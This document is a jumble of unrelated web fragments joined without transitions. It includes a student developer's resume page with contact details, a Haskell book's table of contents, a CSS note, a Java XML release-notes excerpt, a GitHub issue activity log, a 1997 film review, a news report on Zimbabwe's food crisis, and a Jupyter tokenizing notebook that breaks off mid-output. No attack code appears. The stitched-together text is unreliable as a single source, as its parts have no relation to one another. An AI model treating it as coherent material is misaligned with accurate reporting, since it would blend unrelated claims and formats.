About
Skilled in Python (Programming Language), C++, Artificial Intelligence (AI) and Linux. An avid competitive programmer and software developer.Strong business development professional with a Bachelor of Technology focused in problem solving in Computer Science.
Competitive Programmer &Full Stack Web Developer
I am an avid competitive Programmer and Full stack Web developer.I have worked on Django Porjects and also using MERN stack.
- Birthday: 13 March 2001
- Website: www.example.com
- Phone: +91<PHONE_NUMBER>
- City:Kulasekharam,India
- Age: 19
- Degree: Bachelor of Computer Science Engineering
- Email<EMAIL_ADDRESS>- Open to Work: Available
Skills
Resume
Sumary
Mohamed Sameem
An avid competitive programmer and software developer.Strong business development professional with a Bachelor of Technology focused in problem solving in Computer Science.Passionate learner and active problem solver.
- Kulasekharam,India
- +91<PHONE_NUMBER>
-<EMAIL_ADDRESS>Education
Bachelor of Computer Science Engineering
2018 - 2022
Thiagarajar College of Engineering,India
8.7 CGPA
Higher Secondary Education
2016 - 2018
Excel Central School,India
ISC Syllabus with 93% marks scored
Professional Experience
Software Developer Intern
JULY 2020 - OCTOBER 2020
Tech Risk Partners ,Germany
- Lead in the Django + Mysql development of a website.Added functionalities and modules of search,edit and database updations to the website
Project Experience
Vehicle Registration Site
APRIL 2020
- Website to manage vehicle data, using MEAN stack with CRUD operations
Competitive Programming Profiles
Contact
Location:
Kulasekharam,India
Email:
<EMAIL_ADDRESS>Call:
+918668105461


| |
|
Copyright |
| |
|
Dedication |
| |
|
Preface |
| |
|
Chapter 1. Getting Started |
| |
|
|
Section 1.1. Your Haskell
Environment |
| |
|
|
Section 1.2. Getting Started with
ghci, the Interpreter |
| |
|
|
Section 1.3. Basic Interaction:
Using ghci as a Calculator |
| |
|
|
Section 1.4. Command-Line
Editing in ghci |
| |
|
|
Section 1.5. Lists |
| |
|
|
Section 1.6. Strings and
Characters |
| |
|
|
Section 1.7. First Steps with
Types |
| |
|
|
Section 1.8. A Simple
Program |
| |
|
Chapter 2. Types and
Functions |
| |
|
|
Section 2.1. Why Care About
Types? |
| |
|
|
Section 2.2. Haskell's Type
System |
| |
|
|
Section 2.3. What to Expect from
the Type System |
| |
|
|
Section 2.4. Some Common Basic
Types |
| |
|
|
Section 2.5. Function
Application |
| |
|
|
Section 2.6. Useful Composite
Data Types: Lists and Tuples |
| |
|
|
Section 2.7. Functions over Lists
and Tuples |
| |
|
|
Section 2.8. Function Types and
Purity |
| |
|
|
Section 2.9. Haskell Source
Files, and Writing Simple Functions |
| |
|
|
Section 2.10. Understanding
Evaluation by Example |
| |
|
|
Section 2.11. Polymorphism
in Haskell |
| |
|
|
Section 2.12. The Type of a
Function of More Than One Argument |
| |
|
|
Section 2.13. Why the Fuss over
Purity? |
| |
|
|
Section 2.14. Conclusion |
| |
|
Chapter 3. Defining Types, Streamlining
Functions |
| |
|
|
Section 3.1. Defining a New Data
Type |
| |
|
|
Section 3.2. Type
Synonyms |
| |
|
|
Section 3.3. Algebraic Data
Types |
| |
|
|
Section 3.4. Pattern
Matching |
| |
|
|
Section 3.5. Record
Syntax |
| |
|
|
Section 3.6. Parameterized
Types |
| |
|
|
Section 3.7. Recursive
Types |
| |
|
|
Section 3.8. Reporting
Errors |
| |
|
|
Section 3.9. Introducing Local
Variables |
| |
|
|
Section 3.10. The Offside Rule
and Whitespace in an Expression |
| |
|
|
Section 3.11. The case
Expression |
| |
|
|
Section 3.12. Common
Beginner Mistakes with Patterns |
| |
|
|
Section 3.13. Conditional
Evaluation with Guards |
| |
|
Chapter 4. Functional Programming |
| |
|
|
Section 4.1. Thinking in
Haskell |
| |
|
|
Section 4.2. A Simple Command-Line
Framework |
| |
|
|
Section 4.3. Warming Up: Portably
Splitting Lines of Text |
| |
|
|
Section 4.4. Infix Functions |
| |
|
|
Section 4.5. Working with Lists |
| |
|
|
Section 4.6. How to Think About
Loops |
| |
|
|
Section 4.7. Anonymous (lambda)
Functions |
| |
|
|
Section 4.8. Partial Function
Application and Currying |
| |
|
|
Section 4.9. As-patterns |
| |
|
|
Section 4.10. Code Reuse Through
Composition |
| |
|
|
Section 4.11. Tips for Writing
Readable Code |
| |
|
|
Section 4.12. Space Leaks and Strict
Evaluation |
| |
|
Chapter 5. Writing a Library: Working with
JSON Data |
| |
|
|
Section 5.1. A Whirlwind Tour of
JSON |
| |
|
|
Section 5.2. Representing JSON Data
in Haskell |
| |
|
|
Section 5.3. The Anatomy of a
Haskell Module |
| |
|
|
Section 5.4. Compiling Haskell
Source |
| |
|
|
Section 5.5. Generating a
Haskell Program and Importing Modules |
| |
|
|
Section 5.6. Printing JSON
Data |
| |
|
|
Section 5.7. Type Inference Is a
Double-Edged Sword |
| |
|
|
Section 5.8.  Developing Haskell
Code Without Going Nuts |
| |
|
|
Section 5.10. Pretty Printing a
String |
| |
|
|
Section 5.11. Arrays and
Objects, and the Module Header |
| |
|
|
Section 5.12. Writing a Module
Header |
| |
|
|
Section 5.13. Fleshing Out the
Pretty-Printing Library |
| |
|
|
Section 5.14. Creating a
Package |
| |
|
|
Section 5.15. Practical Pointers
and Further Reading |
| |
|
Chapter 6. Using Typeclasses |
| |
|
|
Section 6.1. The Need for
Typeclasses |
| |
|
|
Section 6.2. What Are
Typeclasses? |
| |
|
|
Section 6.3. Declaring
Typeclass Instances |
| |
|
|
Section 6.4. Important
Built-in Typeclasses |
| |
|
|
Section 6.5. Automatic
Derivation |
| |
|
|
Section 6.6. Typeclasses at Work: Making
JSON Easier to Use |
| |
|
|
Section 6.7. Living in an Open
World |
| |
|
|
Section 6.8. How to Give a Type
a New Identity |
| |
|
|
Section 6.9. JSON Typeclasses
Without Overlapping Instances |
| |
|
|
Section 6.10. The Dreaded
Monomorphism Restriction |
| |
|
|
Section 6.11.
Conclusion |
| |
|
Chapter 7. I/O |
| |
|
|
Section 7.1. Classic I/O in
Haskell |
| |
|
|
Section 7.2. Working with Files and
Handles |
| |
|
|
Section 7.3. Extended Example:
Functional I/O and Temporary Files |
| |
|
|
Section 7.4. Lazy I/O |
| |
|
|
Section 7.5. The IO Monad |
| |
|
|
Section 7.6. Is Haskell Really
Imperative? |
| |
|
|
Section 7.7. Side Effects with Lazy
I/O |
| |
|
|
Section 7.8. Buffering |
| |
|
|
Section 7.9.  Environment
Variables |
| |
|
Chapter 8. Efficient File Processing, Regular
Expressions, and Filename Matching |
| |
|
|
Section 8.1. Efficient File
Processing |
| |
|
|
Section 8.2. Filename
Matching |
| |
|
|
Section 8.3. Regular Expressions in
Haskell |
| |
|
|
Section 8.4. More About Regular
Expressions |
| |
|
|
Section 8.5. Translating a glob
Pattern into a Regular Expression |
| |
|
|
Section 8.6. An important Aside:
Writing Lazy Functions |
| |
|
|
Section 8.7. Making Use of Our Pattern
Matcher |
| |
|
|
Section 8.8. Handling Errors Through
API Design |
| |
|
|
Section 8.9. Putting Our Code to
Work |
| |
|
Chapter 9. I/O Case Study: A Library for
Searching the Filesystem |
| |
|
|
Section 9.1. The find
Command |
| |
|
|
Section 9.2. Starting Simple:
Recursively Listing a Directory |
| |
|
|
Section 9.3. A Naive Finding
Function |
| |
|
|
Section 9.4. Predicates: From
Poverty to Riches, While Remaining Pure |
| |
|
|
Section 9.5. Sizing a File
Safely |
| |
|
|
Section 9.6. A Domain-Specific
Language for Predicates |
| |
|
|
Section 9.7. Controlling
Traversal |
| |
|
|
Section 9.8. Density,
Readability, and the Learning Process |
| |
|
|
Section 9.9. Another Way of Looking at
Traversal |
| |
|
|
Section 9.10. Useful Coding
Guidelines |
| |
|
Chapter 10. Code Case Study: Parsing a
Binary Data Format |
| |
|
|
Section 10.1. Grayscale
Files |
| |
|
|
Section 10.2. Parsing a Raw PGM
File |
| |
|
|
Section 10.3. Getting Rid of
Boilerplate Code |
| |
|
|
Section 10.4. Implicit
State |
| |
|
|
Section 10.5. Introducing
Functors |
| |
|
|
Section 10.6. Writing a Functor
Instance for Parse |
| |
|
|
Section 10.7. Using Functors
for Parsing |
| |
|
|
Section 10.8. Rewriting Our PGM
Parser |
| |
|
|
Section 10.9. Future
Directions |
| |
|
Chapter 11. Testing and Quality
Assurance |
| |
|
|
Section 11.1. QuickCheck:
Type-Based Testing |
| |
|
|
Section 11.2. Testing Case
Study: Specifying a Pretty Printer |
| |
|
|
Section 11.3. Measuring Test
Coverage with HPC |
| |
|
Chapter 12. Barcode Recognition |
| |
|
|
Section 12.1. A Little Bit
About Barcodes |
| |
|
|
Section 12.2. Introducing
Arrays |
| |
|
|
Section 12.3. Encoding an
EAN-13 Barcode |
| |
|
|
Section 12.4. Constraints on
Our Decoder |
| |
|
|
Section 12.5. Divide and
Conquer |
| |
|
|
Section 12.6. Turning a Color
Image into Something Tractable |
| |
|
|
Section 12.7. What Have We Done
to Our Image? |
| |
|
|
Section 12.8. Finding Matching
Digits |
| |
|
|
Section 12.9. Life Without
Arrays or Hash Tables |
| |
|
|
Section 12.10. Turning Digit
Soup into an Answer |
| |
|
|
Section 12.11. Working with Row
Data |
| |
|
|
Section 12.12. Pulling It All
Together |
| |
|
|
Section 12.13. A Few Comments
on Development Style |
| |
|
Chapter 13. Data Structures |
| |
|
|
Section 13.1. Association
Lists |
| |
|
|
Section 13.2. Maps |
| |
|
|
Section 13.3. Functions Are Data,
Too |
| |
|
|
Section 13.4. Extended Example:
/etc/passwd |
| |
|
|
Section 13.5. Extended Example: Numeric
Types |
| |
|
|
Section 13.6. Taking Advantage of
Functions as Data |
| |
|
|
Section 13.7. General-Purpose
Sequences |
| |
|
Chapter 14. Monads |
| |
|
|
Section 14.1. |
| |
|
|
Section 14.2. Revisiting
Earlier Code Examples |
| |
|
|
Section 14.3. Looking for
Shared Patterns |
| |
|
|
Section 14.4. The Monad
Typeclass |
| |
|
|
Section 14.5.   Mixing Pure and Monadic
Code |
| |
|
|
Section 14.8. Putting a Few
Misconceptions to Rest |
| |
|
|
Section 14.9. Building the
Logger Monad |
| |
|
|
Section 14.10. The Maybe
Monad |
| |
|
|
Section 14.11. The List
Monad |
| |
|
|
Section 14.12. Desugaring of do
Blocks |
| |
|
|
Section 14.13. The State
Monad |
| |
|
|
Section 14.14. Monads and
Functors |
| |
|
|
Section 14.15. The Monad Laws
and Good Coding Style |
| |
|
Chapter 15. Programming with
Monads |
| |
|
|
Section 15.1. Golfing
Practice: Association Lists |
| |
|
|
Section 15.2. Generalized
Lifting |
| |
|
|
Section 15.3. Looking for
Alternatives |
| |
|
|
Section 15.4. Adventures in
Hiding the Plumbing |
| |
|
|
Section 15.5. Separating
Interface from Implementation |
| |
|
|
Section 15.6. The Reader
Monad |
| |
|
|
Section 15.7. A Return to
Automated Deriving |
| |
|
|
Section 15.8. Hiding the IO
Monad |
| |
|
Chapter 16. Using Parsec |
| |
|
|
Section 16.1. First Steps with
Parsec: Simple CSV Parsing |
| |
|
|
Section 16.2. The sepBy and endBy
Combinators |
| |
|
|
Section 16.3. Choices and
Errors |
| |
|
|
Section 16.4. Extended Example: Full CSV
Parser |
| |
|
|
Section 16.5. Parsec and
MonadPlus |
| |
|
|
Section 16.6. Parsing a
URL-Encoded Query String |
| |
|
|
Section 16.7. Supplanting
Regular Expressions for Casual Parsing |
| |
|
|
Section 16.8. Parsing Without
Variables |
| |
|
|
Section 16.9. Applicative
Functors for Parsing |
| |
|
|
Section 16.10. Applicative
Parsing by Example |
| |
|
|
Section 16.11. Parsing JSON
Data |
| |
|
|
Section 16.12. Parsing a HTTP
Request |
| |
|
Chapter 17. Interfacing with C: The
FFI |
| |
|
|
Section 17.1. Foreign Language
Bindings: The Basics |
| |
|
|
Section 17.2. Regular
Expressions for Haskell: A Binding for PCRE |
| |
|
|
Section 17.3. Passing String
Data Between Haskell and C |
| |
|
|
Section 17.4. Matching on
Strings |
| |
|
Chapter 18. Monad
Transformers |
| |
|
|
Section 18.1. Motivation:
Boilerplate Avoidance |
| |
|
|
Section 18.2. A Simple Monad
Transformer Example |
| |
|
|
Section 18.3. Common Patterns
in Monads and Monad Transformers |
| |
|
|
Section 18.4. Stacking Multiple
Monad Transformers |
| |
|
|
Section 18.5. Moving Down the
Stack |
| |
|
|
Section 18.6. Understanding
Monad Transformers by Building One |
| |
|
|
Section 18.7. Transformer
Stacking Order Is Important |
| |
|
|
Section 18.8. Putting Monads
and Monad Transformers into Perspective |
| |
|
Chapter 19. Error Handling |
| |
|
|
Section 19.1. Error Handling
with Data Types |
| |
|
|
Section 19.2.
Exceptions |
| |
|
|
Section 19.3. Error Handling in
Monads |
| |
|
Chapter 20. Systems Programming in
Haskell |
| |
|
|
Section 20.1. Running External
Programs |
| |
|
|
Section 20.2. Directory and
File Information |
| |
|
|
Section 20.3. Program
Termination |
| |
|
|
Section 20.4. Dates and
Times |
| |
|
|
Section 20.5. Extended Example:
Piping |
| |
|
Chapter 21. Using Databases |
| |
|
|
Section 21.1. Overview of
HDBC |
| |
|
|
Section 21.2. Installing
HDBC and Drivers |
| |
|
|
Section 21.3. Connecting to
Databases |
| |
|
|
Section 21.4.
Transactions |
| |
|
|
Section 21.5. Simple
Queries |
| |
|
|
Section 21.6. SqlValue |
| |
|
|
Section 21.7. Query
Parameters |
| |
|
|
Section 21.8. Prepared
Statements |
| |
|
|
Section 21.9. Reading
Results |
| |
|
|
Section 21.10. Database
Metadata |
| |
|
|
Section 21.11. Error
Handling |
| |
|
Chapter 22. Extended Example: Web Client
Programming |
| |
|
|
Section 22.1. Basic
Types |
| |
|
|
Section 22.2. The Database |
| |
|
|
Section 22.3. The
Parser |
| |
|
|
Section 22.4.
Downloading |
| |
|
|
Section 22.5. Main
Program |
| |
|
Chapter 23. GUI Programming with
gtk2hs |
| |
|
|
Section 23.1. Installing
gtk2hs |
| |
|
|
Section 23.2. Overview of the GTK+
Stack |
| |
|
|
Section 23.3. User Interface Design with
Glade |
| |
|
|
Section 23.4. Event-Driven
Programming |
| |
|
|
Section 23.5. Initializing the
GUI |
| |
|
|
Section 23.6. The Add Podcast
Window |
| |
|
|
Section 23.7. Long-Running
Tasks |
| |
|
|
Section 23.8. Using Cabal |
| |
|
Chapter 24. Concurrent and Multicore
Programming |
| |
|
|
Section 24.1. Defining
Concurrency and Parallelism |
| |
|
|
Section 24.2. Concurrent
Programming with Threads |
| |
|
|
Section 24.3. Simple
Communication Between Threads |
| |
|
|
Section 24.4. The Main Thread
and Waiting for Other Threads |
| |
|
|
Section 24.5. Communicating
over Channels |
| |
|
|
Section 24.6. Useful Things to
Know About |
| |
|
|
Section 24.7. Shared-State
Concurrency Is Still Hard |
| |
|
|
Section 24.8. Using Multiple
Cores with GHC |
| |
|
|
Section 24.9. Parallel
Programming in Haskell |
| |
|
|
Section 24.10. Parallel
Strategies and MapReduce |
| |
|
Chapter 25. Profiling and
Optimization |
| |
|
|
Section 25.1. Profiling Haskell
Programs |
| |
|
|
Section 25.2. Controlling
Evaluation |
| |
|
|
Section 25.3. Understanding
Core |
| |
|
|
Section 25.4. Advanced
Techniques: Fusion |
| |
|
Chapter 26. Advanced Library Design:
Building a Bloom Filter |
| |
|
|
Section 26.1. Introducing the
Bloom Filter |
| |
|
|
Section 26.2. Use Cases and
Package Layout |
| |
|
|
Section 26.3. Basic
Design |
| |
|
|
Section 26.4. The ST
Monad |
| |
|
|
Section 26.5. Designing an API
for Qualified Import |
| |
|
|
Section 26.6. Creating a
Mutable Bloom Filter |
| |
|
|
Section 26.7. The Immutable
API |
| |
|
|
Section 26.8. Creating a
Friendly Interface |
| |
|
|
Section 26.9. Creating a Cabal
Package |
| |
|
|
Section 26.10. Testing with
QuickCheck |
| |
|
|
Section 26.11. Performance
Analysis and Tuning |
| |
|
Chapter 27. Sockets and Syslog |
| |
|
|
Section 27.1. Basic
Networking |
| |
|
|
Section 27.2. Communicating with
UDP |
| |
|
|
Section 27.3. Communicating with
TCP |
| |
|
Chapter 28. Software Transactional
Memory |
| |
|
|
Section 28.1. The
Basics |
| |
|
|
Section 28.2. Some Simple
Examples |
| |
|
|
Section 28.3. STM and
Safety |
| |
|
|
Section 28.4. Retrying a
Transaction |
| |
|
|
Section 28.5. Choosing Between
Alternatives |
| |
|
|
Section 28.6. I/O and
STM |
| |
|
|
Section 28.7. Communication
Between Threads |
| |
|
|
Section 28.8. A Concurrent Web
Link Checker |
| |
|
|
Section 28.9. Practical Aspects
of STM |
| |
|
Appendix A. Installing GHC and Haskell
Libraries |
| |
|
|
Section A.1. Installing
GHC |
| |
|
|
Section A.2.
Installing Haskell Software |
| |
|
Appendix B. Characters, Strings, and
Escaping Rules |
| |
|
|
Section B.1. Writing Character and
String Literals |
| |
|
|
Section B.2. International Language
Support |
| |
|
|
Section B.3. Escaping
Text |
| |
|
Colophon |
| |
|
Index |


The most glaring difference between classes and ids is that classes can be used across multiple elements, while ids can only be used on one element. Sort of like how you can have many people with the name Albert, but only one Albert can have the social security number 111-11-1111.
CSS makes no distinction between the two, so you are free to utilize either. However, it is best practice to use classes for CSS styling and ids for Javascript.
Classes are identified with a "." in CSS while ids are identified with a "#".
Elements can have a class and an id, just make sure that you are not repeating the id on any other element.
Each of these has special advantages when used correctly. Plus, they look really cool!


"x" "1" "JORDAN,VC, LABABIDI,MK AND LANGAN-FAHEY,S, SUPPRESSION OF MOUSEMAMMARY TUMORIGENESIS BY LONG-TERM TAMOXIFEN THERAPY, J. NATL. CANCER INST.83:492-496, 1991"


The following topics are covered:
Three processing limits have been added to JAXP in the 7u45 release. For more information, see the new Processing Limits lesson in the Java Tutorial.
The 7u40 release contains Java API for XML Processing (JAXP) 1.5, which adds the ability to restrict the set of network protocols that may be used to fetch external resources. For more information, see JEP 185: JAXP 1.5: Restrict Fetching of External Resources and the new JAXP 1.5 and New Properties lesson in the Java Tutorial.
The Java SE 7 release supports Java Architecture for XML Binding (JAXB) 2.2.3. For more information, see the JAXB Change log for JAXB RI 2.2 and above.
The Java SE 7 release supports Java API for XML Web Services (JAX-WS) 2.2.4. For more information, see the JAX-WS Change log for JAX-WS RI 2.2 and above.
No changes to report.
No changes to report.
No changes to report.
No changes to report.


labeled
by Kim Leaman at 2021-10-09 14:57:44.labeled
by Kim Leaman at 2021-10-09 14:57:44.ready_for_review
by Shaun Ellis at 2021-10-08 22:27:53.unlabeled
by Kim Leaman at 2021-10-09 00:44:35.labeled
by Kim Leaman at 2021-10-09 00:44:35.unlabeled
by Kim Leaman at 2021-10-09 00:45:03.labeled
by Kim Leaman at 2021-10-09 00:45:03.unlabeled
by Kim Leaman at 2021-10-09 00:45:32.labeled
by Kim Leaman at 2021-10-09 00:45:32.unlabeled
by Kim Leaman at 2021-10-09 00:45:53.labeled
by Kim Leaman at 2021-10-09 00:45:53.unlabeled
by Kim Leaman at 2021-10-09 00:46:14.labeled
by Kim Leaman at 2021-10-09 00:46:14.@eliotjordan , I am closing this but feel free to reopen if the ARKS need to be updated
closed
by Kim Leaman at 2021-10-09 00:48:01.mentioned
by Eliot Jordan at 2021-10-09 00:48:01.subscribed
by Eliot Jordan at 2021-10-09 00:48:01.unlabeled
by Kim Leaman at 2021-10-09 00:50:51.labeled
by Kim Leaman at 2021-10-09 00:50:51.labeled
by Kim Leaman at 2021-10-09 00:59:00.labeled
by Kim Leaman at 2021-10-09 00:59:47.labeled
by Kim Leaman at 2021-10-09 01:00:00.labeled
by Kim Leaman at 2021-10-09 01:01:12.assigned
by Kim Leaman at 2021-10-09 01:01:13.assigned
by Cliff Wulfman at 2021-10-09 01:01:19.@cwulfman , if not mets/alto is found, lets just ingest these as MVW.
assigned
by Kim Leaman at 2021-10-09 00:55:51.assigned
by Cliff Wulfman at 2021-10-09 00:55:57.mentioned
by Cliff Wulfman at 2021-10-09 01:02:49.subscribed
by Cliff Wulfman at 2021-10-09 01:02:49.labeled
by Kim Leaman at 2021-10-09 00:50:15.assigned
by Cliff Wulfman at 2021-10-09 00:50:22.labeled
by Kim Leaman at 2021-10-09 01:03:49.labeled
by Kim Leaman at 2021-10-09 01:04:40.A Nov 2018 email message from Robert McGrath at Anywhere Access lists just 3 required KBART fields:
print_identifier
- in Alma exportonline_identifier
- in Alma exportinterface_name
- NOT in Alma exportSince 2018 we've been providing filenames (File.basename
minus dates) as the interface_name
. It looks like we'll probably need to run the same sort of script:
1. configure a weekly job that exports KBART for portfolios to a directory on lib-sftp
2. loop over the exported files, gathering their data and filenames
3. append filenames to existing fields (as the required interface_name
) in a single combined csv
4. zip and push the resulting file (using their requested naming convention) to ftp.readcube.com. E.g. EXPORT_PORTFOLIOS_PRINCETON_SFX_20210719064145.zip
@kevinreiss is it worth checking with Anywhere Access to see whether their requirements have changed?
mentioned
by Kevin Reiss at 2021-10-08 22:04:01.subscribed
by Kevin Reiss at 2021-10-08 22:04:01.Resolved: Dataspace is back up in b2281be
.
labeled
by Francis Kayiwa at 2021-10-09 02:37:48.labeled
by Francis Kayiwa at 2021-10-09 02:37:48.locked
by Francis Kayiwa at 2021-10-09 02:37:49.closed
by Francis Kayiwa at 2021-10-09 02:50:18.


Getting started with Sass. 🚀
24 August 2021In this blog, we'll learn how to store data in variables, nest CSS, create reusable styles with mixins, add logic and loops to your styles, and more.
Check outIn this blog, we'll learn how to store data in variables, nest CSS, create reusable styles with mixins, add logic and loops to your styles, and more.

Check outNext.js is a React framework that makes it easy to build fast, modern websites using server-rendered React. Here, I talked about what Next.js offers and how is it a better option to build Production Apps.
Check out


.
Bianca-Morris.com
Bianca-Morris.com
About
Portfolio
Contact
Error!
Oh no! Something went wrong...
The error has been logged, and hopefully I'll have it fixed, soon!


Witcher Script for VS Code
Witcher Script for VS Code is an open-source extension that adds support for The Witcher 3 script language.
1.0.9
- Added uncook command.
- Added an option to compare modified scripts with the original ones.
- Added visual feedback to background process.
-
Code Highlight
-
Compare ScriptsCompare modified scripts with the original ones.
-
Cook/Uncook and Publish CHANGEDCreate, cook/uncook and publish your mods. This feature supports cooking mods with scripts or/either content files. Learn More
-
Launch GameLaunch the game directly from the VS Code, without having to switch to anything else, also every time you cook a mod you will be prompted to launch the game.
-
Import scriptsImport scripts files to your mod directory. Search for any script and import without the need to copy or create directories by yourself, the extension will do everything.
-
Import contentsImport contents files to your mod directory. Search for any contents and import without the need to copy or create directories by yourself, the extension will do everything.
-
SnippetsMake you more productive working with Witcher Script.


Name
Username
@
Remember me
Submit
Name
Username
@
Remember me
Submit
Preference
Choose...
One
Two
Three
Remember my preference
Submit


ADDICTED TO LOVE A film review by Scott Renshaw Copyright 1997 Scott Renshaw
(Warner Bros.) Starring: Meg Ryan, Matthew Broderick, Kelly Preston, Tcheky Karyo. Screenplay: Robert Gordon. Producers: Jeffrey Silver and Bobby Newmyer. Director: Griffin Dunne.  Reviewed by Scott Renshaw.
Begin with the fact that ADDICTED TO LOVE is about two people stalking their respective ex-lovers, and you'll see that it isn't exactly your conventional romantic comedy. That's a strong statement when you consider that "conventional" and "romantic comedy" are virtually synonymous where major studios are concerned. Perhaps more than any other genre, the romantic comedy thrives on predictability, in much the same way that romance novels thrive on predictability. ADDICTED TO LOVE is a film which takes risks within that genre, which makes it a rarity. The fact that so many of those risks pay off makes it particularly intriguing.
ADDICTED TO LOVE stars Matthew Broderick as Sam, an astronomer living a simple small-town life with long-time girlfriend Linda (Kelly Preston) before she accepts a teaching fellowship in New York. Sam contents himself with the knowledge that she'll be back in just a few months, until he receives a "Dear John" letter from Linda ending their relationship. Rather than take the break-up lying down, Sam races off to New York, where he discovers Linda living with a French restaurateur named Anton (Tcheky Karyo). Taking up residence in the abandoned building across the street, Sam begins spying on Linda and Anton, waiting for their relationship to fall apart as he is sure it will. That is before he meets Maggie (Meg Ryan), Anton's ex-fiancee, who helps herself to sharing Sam's makeshift abode. Maggie doesn't want Anton back -- she wants revenge, and making Anton suffer falls neatly into Sam's plans as well. Together the two plot to bring Anton to his knees, but unexpectedly find their joint mission bringing them closer together.
Perhaps the most impressive thing about ADDICTED TO LOVE is how it makes its tricky premise work. Screenwriter Robert Gordon could have gone for all-out farce in which the motivations of the characters mattered less than their wacky actions; he could have made Linda and Anton so one-dimensionally villainous that they seemed to deserve whatever they got. In short, he could have written THE FIRST SIGNIFICANT-OTHERS' CLUB. Instead, he tries something rather dangerous: he makes everyone human. Sam is a man whose obsession is less pathological than scientific -- he keeps watching Linda because her behavior just doesn't make sense based on his rational observations. Maggie, on the other hand, is so deeply hurt that all she can think about is hurting Anton right back, her feelings so intense that she pulls Sam into them with her. Even Anton is a complicated creation, with Tcheky Karyo giving a surprisingly engaging performance as a man who is more self-absorbed than malicious. ADDICTED TO LOVE draws comedy and emotion from understanding of the people involved. Their actions don't automatically render them unsympathetic because we are allowed to know why they do what they do.
It was also a risk pairing Broderick and Ryan, since both have made careers out of characters notable largely for their geniality. Broderick doesn't stray far from that persona, though he is still very appealing as a decent guy doing some indecent things. It is Ryan who stretches the most, perhaps even farther than she stretched in the straight drama of COURAGE UNDER FIRE. This is no Sally Albright she is playing -- there isn't a shred of romantic wistfulness left in Maggie. Her comic lines are savage and bitter, allowing Ryan to display a darker comedic edge which previous roles hadn't given her a chance to show. Her performance gives the romance unexpected depth, lending poignancy to scenes like a romantic interlude with Broderick in which each participant is thinking about the one he or she _really_ loves.
None of this would matter much, of course, if ADDICTED TO LOVE weren't also funny. There are plenty of quirky laughs in Gordon's script, from a sweet scene between Ryan and Broderick providing dialogue for a conversation between Anton and Linda to a stampede of cockroaches through a restaurant. Griffin Dunne's direction provides the one jarring flaw in ADDICTED TO LOVE, creating an awkward rhythm in those comic moments of Maggie and Sam's plan against Anton which isn't always in synch with the character development. The broad physical humor is sometimes out of place in a story which does such a good job of creating characters struggling to heal emotionally. Then again, that is just one more way in which ADDICTED TO LOVE doesn't take you exactly where you might expect to go. In case it really matters, ADDICTED TO LOVE is a conventional enough romantic comedy that it provides a suitably happy ending. Beyond that, let it surprise you.
On the Renshaw scale of 0 to 10 stalk characters: 7.
Visit Scott Renshaw's MoviePage http://www-leland.stanford.edu/~srenshaw Subscribe to receive reviews directly via email See details on the MoviePage
The review above was posted to the
rec.arts.movies.reviews newsgroup (de.rec.film.kritiken for German reviews).
The Internet Movie Database accepts no responsibility for the contents of the
review and has no editorial control. Unless stated otherwise, the copyright
belongs to the author.
Please direct comments/criticisms of the review to relevant newsgroups.
Broken URLs inthe reviews are the responsibility of the author.
The formatting of the review is likely to differ from the original due
to ASCII to HTML conversion.
Related links: index of all rec.arts.movies.reviews reviews


Zimbabwe facing 'man-made' starvation, UN expert warns
HARARE: Zimbabwe is facing "man-made" starvation with 60 per cent of the people failing to meet basic food needs, a UN special envoy said Thursday (Nov 28) after touring the southern African country.
Hilal Elver, Special Rapporteur on the right to food, ranked Zimbabwe among the four top countries facing severe food shortages outside nations in conflict zones.
"The people of Zimbabwe are slowly getting to a point of suffering a man-made starvation," she told a news conference in Harare, adding that eight million people would be affected by the end of the year.
"Today, Zimbabwe counts among the four highest food insecure states," she said after an 11-day tour, adding that poor harvests were compounded by 490 per cent hyperinflation.
"A staggering 5.5 million people are currently facing food insecurity" in rural areas due to a drought that has affected harvests, she said.
Another 2.2 million people in urban areas also faced food shortages and lacked access to minimum public services, including health and safe water.
"By the end of this year ... the food security situation is expected to worsen with an estimated eight million people requiring urgent action to reduce food consumption gaps and save livelihoods," she said, describing the numbers as "shocking".
Zimbabwe is in the grips of an entrenched economic crisis, pervasive corruption, poverty and a crumbling health system.
The economy, crippled by decades of mismanagement under former president Robert Mugabe, has failed to rebound under Emmerson Mnangagwa, who took over following a military-led coup two years ago.
"FULL-BLOWN SOCIAL UNREST"
"Political polarisation, economic and financial problems and erratic climatic conditions all contribute to the storm of food insecurity currently facing a country once seen as the breadbasket of Africa," Elver said.
She warned that food insecurity heightened "the risks of civil unrest and insecurity".
"I urgently call on the government and the international community to come together to put an end to this spiralling crisis before it morphs into a full-blown social unrest," she said.
She said she personally "witnessed some of the devastating consequences of the acute economic crisis in the streets of Harare, with people waiting for hours on long lines in front of gas stations, banks, and water dispensaries".
Elver said she also was received complaints of partisan distribution of food aid in favour of known ruling Zanu-PF members against opposition supporters.
"I call on the government of Zimbabwe to live up to its zero hunger commitment without any discrimination," Elver said.
President Mnangagwa meanwhile said the government would reverse plans to scrap subsidies on corn, a staple in a swathe of southern Africa.
"The issue of mealie-meal affects a lot of people and we cannot remove the subsidy," he said, referring to corn gruel which is widely eaten in Zimbabwe.
"So I am restoring it so that the price of mealie-meal is also reduced, " said the president.
"We have a cheap food policy that we are creating to ensure that basic foods are affordable," he said.


Tokenizing notebook
Note
This is from a Jupyter notebook used to demonstrate some usage of the tokenizing utility functions. The content is in two main sections. First, we demonstrate the usage of various functions to get information about the source. Once this is done, we demonstrate how to change the content in a reliable way.
First, the all important import
statement.
[1]:
from ideas import token_utils
Getting information
We start with a very simple example, where we have a repeated token, a
.
[2]:
source = "a = a"
tokens = token_utils.tokenize(source)
for token in tokens:
print(token)
type=1 (NAME) string='a' start=(1, 0) end=(1, 1) line='a = a'
type=53 (OP) string='=' start=(1, 2) end=(1, 3) line='a = a'
type=1 (NAME) string='a' start=(1, 4) end=(1, 5) line='a = a'
type=4 (NEWLINE) string='' start=(1, 5) end=(1, 6) line=''
type=0 (ENDMARKER) string='' start=(2, 0) end=(2, 0) line=''
Notice how the NEWLINE
token here, in spite of its name, does not correpond to \n
.
Comparing tokens
Tokens are considered equals if they have the same string
attribute. Given this notion of equality, we make things even simpler by allowing to compare a token directly to a string as shown below.
[3]:
print(tokens[0] == tokens[2])
print(tokens[0] == tokens[2].string)
print(tokens[0] == 'a') # <-- Our normal choice
True
True
True
Printing tokens by line of code
If we simply want to tokenize a source and print the result, or simply print a list of tokens, we can use print_tokens
to do it in a single instruction, with the added benefit of separating tokens from different lines of code.
[4]:
source = """
if True:
pass
"""
token_utils.print_tokens(source)
type=56 (NL) string='\n' start=(1, 0) end=(1, 1) line='\n'
